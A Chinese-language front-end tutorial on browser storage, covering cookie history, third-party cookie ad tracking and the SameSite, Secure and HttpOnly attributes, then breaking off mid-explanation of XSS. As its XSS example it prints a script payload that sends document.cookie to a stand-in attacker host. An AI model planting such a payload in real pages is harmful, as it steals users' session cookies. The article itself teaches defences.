作者：星尘

https://www.yuque.com/starx/fe/oehz1m

引言

2021 年，如果你的前端应用，需要在浏览器上保存数据，有三个主流方案：

Cookie
Web Storage (LocalStorage)
IndexedDB

这些方案就是如今应用最广、浏览器兼容性最高的三种前端储存方案

今天这篇文章就聊一聊这三种方案的历史，优缺点，以及各自在今天的适用场景

文章在后面还会提出一个全新的，基于 IndexedDB 的，更适合现代前端应用的前端本地储存方案 GoDB.js

Cookie

Cookie 的历史

Cookie 早在1994 年就被发明了出来，它的历史甚至和互联网本身的历史一样悠久

和其它两种本地储存方案不一样的是，Cookie 本身并不是为了解决「在浏览器上存东西」而被发明，它的出现是为了解决 HTTP 协议无状态特性的问题

什么是 HTTP 协议的无状态特性？简单来说就是：用户的两次 HTTP 请求，服务端并不能通过请求本身，知道这两次请求，来自于同一个用户

比如我们如今司空见惯的登录功能，在 Cookie 被发明之前其实几乎无法实现登录态的长久保持

也就是说，Cookie 其实是作为「HTTP 协议的补充」被发明出来的，因此，在英文语境中，大多时候其实都用 HTTP cookie 来指 Cookie

Cookie 最初被其发明者 Lou Montulli 用在电商网站上，用来记录购物车里的商品，这样当用户想要结账时，浏览器会把 Cookie 里的商品数据以及用户信息发送给服务器，服务器就能知道用户想要购买哪些商品

Cookie 在很长一段时间内，都是浏览器储存数据的唯一解决方案，直到今天，Cookie 在很多领域仍然有大量的使用

Cookie 的今天

2021 年，虽然 Cookie 在部分领域仍有不可替代的价值，但其已经不再适合被做为一个前端本地储存方案去使用：

Cookie 的安全问题

Cookie 在每次请求中都会被发送，如果不使用 HTTPS 并对其加密，其保存的信息很容易被窃取，导致安全风险
举个例子，在一些使用 Cookie 保持登录态的网站上，如果 Cookie 被窃取，他人很容易利用你的 Cookie 来假扮成你登录网站
当然可以用 Session 配合 Cookie 来缓解这个问题，但是 Session 会占用额外的服务器资源
Cookie 每次请求自动发送的特性还会导致 CSRF 攻击的安全风险

Cookie 只允许储存 4kb 的数据
Cookie 的操作较为繁琐复杂（这一点倒是可以通过使用类库来解决）

有人说由于浏览器每次请求都会带上 Cookie，因此 Cookie 还有个缺点是会增加带宽占用，但其实放在今天的网络环境来看，这点占用基本可以忽略不计

总之，如今已经不推荐使用 Cookie 来在浏览器上保存数据，大部分曾经应用 Cookie 的场景，在今天都可以用 LocalStorage 实现更优雅更安全的替代

但是，即使 Cookie 已经不适合用来在浏览器上储存数据，其在某些特定领域，在今天仍然独特的价值

最常见的就是用在广告中，用来跨站标记用户与跟踪用户行为，这样在你访问不同页面时，广告商也能知道是同一个用户在访问，从而实现后续的商品推荐等功能

假设 abc.com 和 xyz.com 都内嵌了淘宝的广告，你会发现即使 abc.com 和 xyz.com 所有者不一致，两个网站上淘宝广告推荐的商品也出奇的一致，这背后是因为淘宝知道是同一个人，分别在 abc.com 和 xyz.com 访问淘宝的广告

这是如何实现的呢？答案是第三方 Cookie

第三方 Cookie

之所以有第三方 Cookie 这个称呼，是因为 Cookie 执行同源策略，a.com 和 b.com 各自只能访问自己的 Cookie，无法访问对方或者任何不属于自己的 Cookie

如果在访问 a.com 时，设置了一个 b.com 的 Cookie（比如内嵌 b.com 的页面），那么这个 Cookie 相对于 a.com 而言就是第三方 Cookie

值得一提的是，是同一个 host 下的不同端口倒是可以互相访问 Cookie

这里提一下对第三方 Cookie 而言非常重要的一个特性：Cookie 可以被服务端设置

服务器可以通过 response 的请求头来要求浏览器设置 Cookie

Set-Cookie: userId=123;

浏览器在检测到返回请求的 header 里有 Set-Cookie 请求头后，就会自动设置 Cookie，不需要开发者用 JS 去做额外的操作

这样带来的好处是，当 abc.com 和 xyz.com 想在自己的网页上内嵌淘宝广告时，只需要把淘宝提供的组件放进 HTML 即可，不需要写额外的 JS，也能让淘宝进行跨站定位用户

"taobao.com/some-ads" />

（这个组件纯属虚构，仅为方便理解）

它是如何工作的呢？

当用户处于 abc.com 时，浏览器会向 taobao.com/some-ads 发起一个 HTTP 请求
当淘宝服务器返回广告内容时，会顺带一个 Set-Cookie 的 HTTP 请求头，告诉浏览器设置一个源为 taobao.com 的 Cookie，里面存上当前用户的 ID 等信息
这个 Cookie 相对于 abc.com 而言就是第三方 Cookie，因为它属于 taobao.com
而当用户访问 xyz.com 时，由于 xyz.com 上也嵌入了淘宝的广告，因此用户的浏览器也会向 taobao.com/some-ads 发起请求
有意思的来了，发请求时，浏览器发现本地已有 taobao.com 的 Cookie（此前访问 abc.com 时设置的），因此，浏览器会将这个 Cookie 发送过去
淘宝服务器根据发过来的 Cookie，发现当前访问 xyz.com 的用户和之前访问 abc.com 的用户是同一个，因此会返回相同的广告

广告商用第三方 Cookie 来跨站定位用户大概就是这么个过程，实际肯定要复杂许多，但基本原理是一致的

总之，关键就是利用了 Cookie 的两个特点

Cookie 可以被服务器设置
浏览器每次请求会自动带上 Cookie

正因为这两个特点，即使 Cookie 在今天看来缺点一大堆，但仍然在部分领域有不可替代的价值

但也是因为这两个特点，导致 Cookie 的安全性相对不高，总之 Cookie 的这个设计放在今天来看，就是一把双刃剑

Cookie 配置

服务端要求浏览器建立 Cookie 时，可以在请求头里放一些配置声明，修改 Cookie 的使用特性

SameSite

在前段时间，Chrome 更新 80 版本时，将 Cookie 的跨站策略（SameSite）默认设置为了 Lax，即仅允许同站或者子站访问 Cookie，而老版本是 None，即允许所有跨站 Cookie

这会导致用户访问 xyz.com 时，浏览器默认将不会发送 Cookie 给 taobao.com，导致第三方 Cookie 失效的问题

要解决的话，在返回请求的 header 里将 SameSite 设置为 None 即可

Set-Cookie: userId=123; SameSite=None

Secure, HttpOnly

Cookie 还有两个常用属性 Secure 和 HttpOnly

Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly

其中 Secure 是只允许 Cookie 在 HTTPS 请求中被使用

而 HttpOnly 则用来禁止使用 JS 访问 cookie

ducoment.cookie // 访问被禁止了

这样最大的好处是避免了 XSS 攻击

XSS 攻击

比如你在水一个论坛，这个论坛有个 bug：不会对发布内容中的 HTML 标签进行过滤

某一天，一个恶意用户发了个帖子，内容如下：

<script>window.open("atacker.com?cookie=" + document.cookiescript>

当你访问这条帖子的内容时，浏览器就会执行

【Web技术】1101- 深入浅出前端本地储存

引言